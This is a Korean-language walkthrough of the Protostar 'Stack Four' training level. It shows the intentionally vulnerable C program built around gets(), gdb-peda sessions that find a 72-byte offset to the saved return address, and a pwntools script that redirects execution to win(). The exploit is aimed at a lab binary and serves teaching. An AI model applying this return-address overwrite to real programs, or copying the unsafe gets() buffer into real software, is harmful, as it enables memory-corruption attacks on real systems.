STACK FOUR
Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
This level is at /opt/protostar/bin/stack4
Hints
- A variety of introductory papers into buffer overflows may help.
- gdb lets you do “run < input”
- EIP is not directly after the end of buffer, compiler padding can also increase the size.
Link - https://exploit.education/protostar/stack-four/#source-code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
STACK3에 비해서 코드가 많이 줄어든 것을 확인할 수 있다.
해당 코드를 그림으로 짧게 설명해본다면...
위의 그림과 같이 전체 코드 흐름이 시작되고, 중간에서 main 함수로 들어갔다가 ret를 이용해서 다시 전체 코드로 돌아오는 흐름이다.
ret의 경우는 이전 강의에서 설명했듯이 아래와 같은 구조이다.
즉, buffer를 가득 채워서 ret의 주소도 덮어 씌울 수 있다. 결국 리턴을 하는 시점에 참조하는 스택의 영역이 무엇인지를 참고하면 쉽게 구하는것이 가능하다.
1. 파일 생성
root@kali:~/Desktop/protostar# gedit stack4.c
2. 컴파일
root@kali:~/Desktop/protostar# gcc -z execstack -w -no-pie -o stack4 stack4.c
/usr/bin/ld: /tmp/ccOC5d5W.o: in function `main':
stack4.c:(.text+0x2f): warning: the `gets' function is dangerous and should not be used.
(경고문은 무시해준다.)
3. 동작파악 (실행없이 바로 GDB)
root@kali:~/Desktop/protostar# gdb ./stack4
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000401145 <+0>: push rbp
0x0000000000401146 <+1>: mov rbp,rsp
0x0000000000401149 <+4>: sub rsp,0x50
0x000000000040114d <+8>: mov DWORD PTR [rbp-0x44],edi
0x0000000000401150 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x0000000000401154 <+15>: lea rax,[rbp-0x40]
0x0000000000401158 <+19>: mov rdi,rax
0x000000000040115b <+22>: mov eax,0x0
0x0000000000401160 <+27>: call 0x401040 <gets@plt>
0x0000000000401165 <+32>: mov eax,0x0
0x000000000040116a <+37>: leave
0x000000000040116b <+38>: ret
End of assembler dump.
해당 코드들 중 "0x0000000000401160 <+27>: call 0x401040 <gets@plt>"에서 BOF가 발생할 수 있다는 것을 알 수 있다.
(gets()라는 함수에서 발생)
그리고 "0x000000000040116b <+38>: ret", 리턴을 win으로 변경해주면 된다는 것도 알 수 있다.
우선 ret에 브레이크 포인트를 걸어준다.
gdb-peda$ b *main+38
Breakpoint 1 at 0x40116b
그리고 패턴을 만들어준다.
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
그리고 실행 후 만들어 준 패턴을 넣어준다.
gdb-peda$ run
Starting program: /root/Desktop/protostar/stack4
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7fa8a00 --> 0xfbad2288
RDX: 0x7ffff7faa8d0 --> 0x0
RSI: 0x405261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x7fffffffe0d1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x40116b (<main+38>: ret)
R8 : 0x4052c5 --> 0x0
R9 : 0x0
R10: 0x7ffff7faf500 (0x00007ffff7faf500)
R11: 0x246
R12: 0x401050 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe1f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x401160 <main+27>: call 0x401040 <gets@plt>
0x401165 <main+32>: mov eax,0x0
0x40116a <main+37>: leave
=> 0x40116b <main+38>: ret
0x40116c: nop DWORD PTR [rax+0x0]
0x401170 <__libc_csu_init>: push r15
0x401172 <__libc_csu_init+2>: mov r15,rdx
0x401175 <__libc_csu_init+5>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe120 ("AJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe128 ("AAKAAgAA6AAL")
0024| 0x7fffffffe130 --> 0x4c414136 ('6AAL')
0032| 0x7fffffffe138 --> 0x401145 (<main>: push rbp)
0040| 0x7fffffffe140 --> 0x0
0048| 0x7fffffffe148 --> 0xb499c86a627cb19f
0056| 0x7fffffffe150 --> 0x401050 (<_start>: xor ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040116b in main ()
ret에 브레이크 포인트가 걸리는 것을 확인할 수 있다.
리턴을 하는 시점에서는 스택의 가장 첫번째 있는 데이터를 꺼내와서 실행을 한다.
즉 첫번째에 있는 문자열(0000| 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") = IAAeAA4AAJAAfA)을 복사해서 pattern offset을 실행해주면 된다.
gdb-peda$ pattern offset IAAeAA4AAJAAfA
IAAeAA4AAJAAfA found at offset: 72
확인 결과, 72바이트에 원하는 내용이 들어있는 것을 확인할 수 있다. 이 데이터를 가지고 프로그램을 짜보도록 한다.
그전에 win의 주소 값을 검색해서 복사해둔다.
gdb-peda$ disas win
Dump of assembler code for function win:
0x0000000000401132 <+0>: push rbp
0x0000000000401133 <+1>: mov rbp,rsp
0x0000000000401136 <+4>: lea rdi,[rip+0xecb] # 0x402008
0x000000000040113d <+11>: call 0x401030 <puts@plt>
0x0000000000401142 <+16>: nop
0x0000000000401143 <+17>: pop rbp
0x0000000000401144 <+18>: ret
End of assembler dump.
win의 시작 주소는 "0x0000000000401132"인 것을 확인할 수 있다.
root@kali:~/Desktop/protostar# gedit stack4.py
from pwn import *
winaddr = p64(0x0000000000401132)
payload = 'A' * 72 + winaddr
p = process(['./stack4'])
p.sendline(payload)
print p.recvrepeat(1)
해당 파일을 실행해서 결과를 확인해본다.
root@kali:~/Desktop/protostar# python stack4.py
[+] Starting local process './stack4': pid 11741
code flow successfully changed
[*] Stopped process './stack4' (pid 11741)
원하는 결과 값인 "code flow successfully changed"가 출력된 것을 볼 수 있다.
이전 STACK3의 연장선의 내용이었기 때문에 어려운 내용은 없었을 것이다.